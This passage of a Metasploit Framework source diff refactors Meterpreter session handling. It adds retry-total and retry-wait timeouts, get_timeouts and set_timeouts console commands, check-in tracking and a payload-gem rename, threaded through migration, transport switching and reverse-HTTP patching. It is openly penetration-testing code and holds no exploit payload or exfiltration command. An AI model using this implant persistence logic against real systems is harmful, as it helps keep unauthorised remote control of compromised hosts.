{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -1404,12 +1359,12 @@ public
|
|||
|
||||
wspace.events.offset(offset).limit(limit).each do |e|
|
||||
event = {}
|
||||
event[:host] = e.host.address if(e.host)
|
||||
event[:host] = e.host.address if e.host
|
||||
event[:created_at] = e.created_at.to_i
|
||||
event[:updated_at] = e.updated_at.to_i
|
||||
event[:name] = e.name
|
||||
event[:critical] = e.critical if(e.critical)
|
||||
event[:username] = e.username if(e.username)
|
||||
event[:critical] = e.critical if e.critical
|
||||
event[:username] = e.username if e.username
|
||||
event[:info] = e.info
|
||||
ret[:events] << event
|
||||
end
|
||||
|
@ -1436,7 +1391,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_event(opts)
|
||||
{ :result => 'success' } if(res)
|
||||
{ :result => 'success' } if res
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -1471,7 +1426,7 @@ public
|
|||
end
|
||||
|
||||
res = self.framework.db.report_loot(opts)
|
||||
{ :result => 'success' } if(res)
|
||||
{ :result => 'success' } if res
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -1509,8 +1464,8 @@ public
|
|||
ret[:loots] = []
|
||||
wspace.loots.offset(offset).limit(limit).each do |l|
|
||||
loot = {}
|
||||
loot[:host] = l.host.address if(l.host)
|
||||
loot[:service] = l.service.name || l.service.port if(l.service)
|
||||
loot[:host] = l.host.address if l.host
|
||||
loot[:service] = l.service.name || l.service.port if l.service
|
||||
loot[:ltype] = l.ltype
|
||||
loot[:ctype] = l.content_type
|
||||
loot[:data] = l.data
|
||||
|
@ -1611,10 +1566,10 @@ public
|
|||
|
||||
host = self.framework.db.get_host(opts)
|
||||
|
||||
return ret if( not host)
|
||||
return ret if not host
|
||||
vulns = []
|
||||
|
||||
if(opts[:proto] && opts[:port])
|
||||
if opts[:proto] && opts[:port]
|
||||
services = []
|
||||
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if sret == nil
|
||||
|
@ -1731,7 +1686,7 @@ public
|
|||
clients = []
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
hosts = opts_to_hosts(xopts)
|
||||
else
|
||||
hosts = wspace.hosts
|
||||
end
|
||||
|
@ -1806,7 +1761,7 @@ public
|
|||
# rpc.call('db.connect', {:driver=>'postgresql'})
|
||||
def rpc_connect(xopts)
|
||||
opts = fix_options(xopts)
|
||||
if(not self.framework.db.driver and not opts[:driver])
|
||||
if not self.framework.db.driver and not opts[:driver]
|
||||
return { :result => 'failed' }
|
||||
end
|
||||
|
||||
|
|
|
@ -389,6 +389,10 @@ module Session
|
|||
#
|
||||
attr_accessor :payload_uuid
|
||||
#
|
||||
# The unique machine identifier for the host that created this session
|
||||
#
|
||||
attr_accessor :machine_id
|
||||
#
|
||||
# The actual exploit module instance that created this session
|
||||
#
|
||||
attr_accessor :exploit
|
||||
|
|
|
@ -172,7 +172,7 @@ module Msf::HTTP::Wordpress::Version
|
|||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
# Older than fixed version, no vuln introduction date, flag as vuln
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
|
|
|
@ -10,13 +10,17 @@ module Rex
|
|||
###
|
||||
module Patch
|
||||
|
||||
#
|
||||
# Replace the transport string
|
||||
#
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the URL
|
||||
#
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
|
@ -26,34 +30,28 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
# Replace the session expiration timeout
|
||||
def self.patch_expiration!(blob, expiration)
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
#
|
||||
# Replace the timeout data with the actual timeout values.
|
||||
#
|
||||
def self.patch_timeouts!(blob, opts)
|
||||
i = blob.index("METERP_TIMEOUTS\x00")
|
||||
if i
|
||||
str = [ expiration ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
|
||||
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
|
||||
blob[i, data.length] = data
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Replace the session communication timeout
|
||||
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ comm_timeout ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the user agent string with our option
|
||||
#
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
#
|
||||
# Activate a custom proxy
|
||||
#
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
|
@ -73,7 +71,9 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Proxy authentification
|
||||
#
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
|
||||
|
@ -93,7 +93,9 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch the ssl cert hash
|
||||
#
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
|
@ -105,24 +107,25 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service!(blob, options)
|
||||
#
|
||||
def self.patch_passive_service!(blob, opts)
|
||||
|
||||
patch_transport!(blob, options[:ssl])
|
||||
patch_url!(blob, options[:url])
|
||||
patch_expiration!(blob, options[:expiration])
|
||||
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||
patch_ua!(blob, options[:ua])
|
||||
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||
patch_transport!(blob, opts[:ssl])
|
||||
patch_url!(blob, opts[:url])
|
||||
patch_timeouts!(blob, opts)
|
||||
patch_ua!(blob, opts[:ua])
|
||||
patch_ssl_check!(blob, opts[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
options[:proxy_type]
|
||||
opts[:proxy_host],
|
||||
opts[:proxy_port],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
options[:proxy_user],
|
||||
options[:proxy_pass],
|
||||
options[:proxy_type]
|
||||
opts[:proxy_user],
|
||||
opts[:proxy_pass],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
|
||||
end
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'meterpreter_bins'
|
||||
require 'metasploit-payloads'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/ui/console'
|
||||
|
|
|
@ -85,11 +85,18 @@ class Client
|
|||
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
||||
#
|
||||
def cleanup_meterpreter
|
||||
ext.aliases.each_value do | extension |
|
||||
extension.cleanup if extension.respond_to?( 'cleanup' )
|
||||
if not self.skip_cleanup
|
||||
ext.aliases.each_value do | extension |
|
||||
extension.cleanup if extension.respond_to?( 'cleanup' )
|
||||
end
|
||||
end
|
||||
|
||||
dispatcher_thread.kill if dispatcher_thread
|
||||
core.shutdown rescue nil
|
||||
|
||||
if not self.skip_cleanup
|
||||
core.shutdown rescue nil
|
||||
end
|
||||
|
||||
shutdown_passive_dispatcher
|
||||
end
|
||||
|
||||
|
@ -111,6 +118,8 @@ class Client
|
|||
self.ssl = opts[:ssl]
|
||||
self.expiration = opts[:expiration]
|
||||
self.comm_timeout = opts[:comm_timeout]
|
||||
self.retry_total = opts[:retry_total]
|
||||
self.retry_wait = opts[:retry_wait]
|
||||
self.passive_dispatcher = opts[:passive_dispatcher]
|
||||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
|
@ -453,6 +462,14 @@ class Client
|
|||
#
|
||||
attr_accessor :comm_timeout
|
||||
#
|
||||
# The total time for retrying connections
|
||||
#
|
||||
attr_accessor :retry_total
|
||||
#
|
||||
# The time to wait between retry attempts
|
||||
#
|
||||
attr_accessor :retry_wait
|
||||
#
|
||||
# The Passive Dispatcher
|
||||
#
|
||||
attr_accessor :passive_dispatcher
|
||||
|
@ -464,6 +481,10 @@ class Client
|
|||
# A list of the commands
|
||||
#
|
||||
attr_reader :commands
|
||||
#
|
||||
# The timestamp of the last received response
|
||||
#
|
||||
attr_accessor :last_checkin
|
||||
|
||||
protected
|
||||
attr_accessor :parser, :ext_aliases # :nodoc:
|
||||
|
|
|
@ -39,8 +39,10 @@ class ClientCore < Extension
|
|||
METERPRETER_TRANSPORT_HTTP = 1
|
||||
METERPRETER_TRANSPORT_HTTPS = 2
|
||||
|
||||
DEFAULT_SESSION_EXPIRATION = 24*3600*7
|
||||
DEFAULT_COMMS_TIMEOUT = 300
|
||||
TIMEOUT_SESSION = 24*3600*7 # 1 week
|
||||
TIMEOUT_COMMS = 300 # 5 minutes
|
||||
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
|
||||
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
||||
|
||||
VALID_TRANSPORTS = {
|
||||
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
|
||||
|
@ -63,7 +65,7 @@ class ClientCore < Extension
|
|||
# Core commands
|
||||
#
|
||||
##
|
||||
#
|
||||
|
||||
#
|
||||
# Get a list of loaded commands for the given extension.
|
||||
#
|
||||
|
@ -98,6 +100,32 @@ class ClientCore < Extension
|
|||
commands
|
||||
end
|
||||
|
||||
def set_transport_timeouts(opts={})
|
||||
request = Packet.create_request('core_transport_set_timeouts')
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
{
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a library on the remote meterpreter instance. This method
|
||||
# supports loading both extension and non-extension libraries and
|
||||
|
@ -221,7 +249,7 @@ class ClientCore < Extension
|
|||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
|
@ -245,14 +273,16 @@ class ClientCore < Extension
|
|||
return true
|
||||
end
|
||||
|
||||
def machine_id
|
||||
def machine_id(timeout=nil)
|
||||
request = Packet.create_request('core_machine_id')
|
||||
|
||||
response = client.send_request(request)
|
||||
args = [ request ]
|
||||
args << timeout if timeout
|
||||
|
||||
id = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
||||
# TODO: Determine if we're going to MD5/SHA1 this
|
||||
return Rex::Text.md5(id)
|
||||
response = client.send_request(*args)
|
||||
|
||||
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
||||
return Rex::Text.md5(mid)
|
||||
end
|
||||
|
||||
def transport_change(opts={})
|
||||
|
@ -275,6 +305,22 @@ class ClientCore < Extension
|
|||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
|
@ -288,12 +334,6 @@ class ClientCore < Extension
|
|||
end
|
||||
url << generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout])
|
||||
|
||||
opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
@ -595,41 +635,49 @@ class ClientCore < Extension
|
|||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
|
||||
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
# Pass the timeout information to the RDI loader so that it correctly
|
||||
# patches the timeouts into the binary.
|
||||
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
|
||||
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
|
||||
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
|
||||
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
||||
|
||||
# Patch options into metsrv for reverse HTTP payloads.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_linux_stub
|
||||
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
blob = ::File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait)
|
||||
|
||||
blob
|
||||
end
|
||||
|
|
|
@ -45,7 +45,7 @@ class Priv < Extension
|
|||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
|
||||
elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
|
||||
if elevator_path.nil?
|
||||
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
|
||||
end
|
||||
|
|
|
@ -157,7 +157,7 @@ class UI < Rex::Post::UI
|
|||
|
||||
# include the x64 screenshot dll if the host OS is x64
|
||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
|
||||
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
|
||||
if screenshot_path.nil?
|
||||
raise RuntimeError, "screenshot.x64.dll not found", caller
|
||||
end
|
||||
|
@ -172,7 +172,7 @@ class UI < Rex::Post::UI
|
|||
end
|
||||
|
||||
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
|
||||
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
|
||||
if screenshot_path.nil?
|
||||
raise RuntimeError, "screenshot.x86.dll not found", caller
|
||||
end
|
||||
|
|
|
@ -91,12 +91,14 @@ TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
|
|||
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
|
||||
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
|
||||
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
||||
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
||||
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
|
||||
|
@ -194,13 +196,14 @@ class Tlv
|
|||
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
|
||||
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
|
||||
when TLV_TYPE_TRANS_URL; "TRANS-URL"
|
||||
when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
|
||||
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
|
||||
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
|
||||
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
|
||||
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
|
||||
|
||||
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
|
||||
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
|
||||
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
|
||||
|
||||
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
||||
|
|
|
@ -79,7 +79,11 @@ module PacketDispatcher
|
|||
|
||||
def shutdown_passive_dispatcher
|
||||
return if not self.passive_service
|
||||
self.passive_service.remove_resource(self.conn_id + "/")
|
||||
|
||||
# Ensure that there is only one leading and trailing slash on the URI
|
||||
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
|
||||
|
||||
self.passive_service.remove_resource(resource_uri)
|
||||
|
||||
# If there are no more resources registered on the service, stop it entirely
|
||||
if self.passive_service.resources.empty?
|
||||
|
@ -102,6 +106,8 @@ module PacketDispatcher
|
|||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp['Connection'] = 'close'
|
||||
|
||||
self.last_checkin = Time.now
|
||||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.shift
|
||||
|
@ -494,6 +500,9 @@ module PacketDispatcher
|
|||
client = self
|
||||
end
|
||||
|
||||
# Update our last reply time
|
||||
client.last_checkin = Time.now
|
||||
|
||||
# If the packet is a response, try to notify any potential
|
||||
# waiters
|
||||
if ((resp = packet.response?))
|
||||
|
|
|
@ -56,6 +56,8 @@ class Console::CommandDispatcher::Core
|
|||
"run" => "Executes a meterpreter script or Post module",
|
||||
"bgrun" => "Executes a meterpreter script as a background thread",
|
||||
"bgkill" => "Kills a background meterpreter script",
|
||||
"get_timeouts" => "Get the current session timeout values",
|
||||
"set_timeouts" => "Set the current session timeout values",
|
||||
"bglist" => "Lists running background scripts",
|
||||
"write" => "Writes data to a channel",
|
||||
"enable_unicode_encoding" => "Enables encoding of unicode strings",
|
||||
|
@ -72,12 +74,13 @@ class Console::CommandDispatcher::Core
|
|||
if client.passive_service && client.sock.type? == 'tcp-ssl'
|
||||
c["ssl_verify"] = "Modify the SSL certificate verification setting"
|
||||
end
|
||||
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
end
|
||||
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
end
|
||||
|
||||
if (msf_loaded?)
|
||||
|
@ -327,6 +330,64 @@ class Console::CommandDispatcher::Core
|
|||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
end
|
||||
|
||||
@@set_timeouts_opts = Rex::Parser::Arguments.new(
|
||||
'-c' => [ true, 'Comms timeout (seconds)' ],
|
||||
'-x' => [ true, 'Expiration timout (seconds)' ],
|
||||
'-t' => [ true, 'Retry total time (seconds)' ],
|
||||
'-w' => [ true, 'Retry wait time (seconds)' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
def cmd_set_timeouts_help
|
||||
print_line('Usage: set_timeouts [options]')
|
||||
print_line
|
||||
print_line('Set the current timeout options.')
|
||||
print_line('Any or all of these can be set at once.')
|
||||
print_line(@@set_timeouts_opts.usage)
|
||||
end
|
||||
|
||||
def cmd_set_timeouts(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
cmd_set_timeouts_help
|
||||
return
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
@@set_timeouts_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-c'
|
||||
opts[:comm_timeout] = val.to_i if val
|
||||
when '-x'
|
||||
opts[:session_exp] = val.to_i if val
|
||||
when '-t'
|
||||
opts[:retry_total] = val.to_i if val
|
||||
when '-w'
|
||||
opts[:retry_wait] = val.to_i if val
|
||||
end
|
||||
end
|
||||
|
||||
if opts.keys.length == 0
|
||||
print_error("No options set")
|
||||
else
|
||||
timeouts = client.core.set_transport_timeouts(opts)
|
||||
print_timeouts(timeouts)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_get_timeouts(*args)
|
||||
# Calling set without passing values is the same as
|
||||
# getting all the current timeouts
|
||||
timeouts = client.core.set_transport_timeouts
|
||||
print_timeouts(timeouts)
|
||||
end
|
||||
|
||||
def print_timeouts(timeouts)
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
|
@ -429,8 +490,10 @@ class Console::CommandDispatcher::Core
|
|||
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ],
|
||||
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ],
|
||||
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
|
||||
'-to' => [ true, "Comms timeout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_COMMS_TIMEOUT})" ],
|
||||
'-ex' => [ true, "Expiration timout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_SESSION_EXPIRATION})" ],
|
||||
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
|
||||
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
||||
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
|
||||
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
#
|
||||
|
@ -462,8 +525,10 @@ class Console::CommandDispatcher::Core
|
|||
:proxy_type => nil,
|
||||
:proxy_user => nil,
|
||||
:proxy_pass => nil,
|
||||
:comms_timeout => nil,
|
||||
:comm_timeout => nil,
|
||||
:session_exp => nil,
|
||||
:retry_total => nil,
|
||||
:retry_wait => nil,
|
||||
:cert => nil
|
||||
}
|
||||
|
||||
|
@ -484,9 +549,13 @@ class Console::CommandDispatcher::Core
|
|||
when '-ua'
|
||||
opts[:ua] = val
|
||||
when '-to'
|
||||
opts[:comms_timeout] = val.to_i if val
|
||||
opts[:comm_timeout] = val.to_i if val
|
||||
when '-ex'
|
||||
opts[:session_exp] = val.to_i if val
|
||||
when '-rt'
|
||||
opts[:retry_total] = val.to_i if val
|
||||
when '-rw'
|
||||
opts[:retry_wait] = val.to_i if val
|
||||
when '-p'
|
||||
opts[:lport] = val.to_i if val
|
||||
when '-l'
|
||||
|
@ -620,8 +689,8 @@ class Console::CommandDispatcher::Core
|
|||
case opt
|
||||
when "-l"
|
||||
exts = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
|
@ -668,8 +737,8 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
def cmd_load_tabs(str, words)
|
||||
tabs = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
|
|
|
@ -579,6 +579,7 @@ class Client
|
|||
|
||||
rv = nil
|
||||
while (
|
||||
not conn.closed? and
|
||||
rv != Packet::ParseCode::Completed and
|
||||
rv != Packet::ParseCode::Error
|
||||
)
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
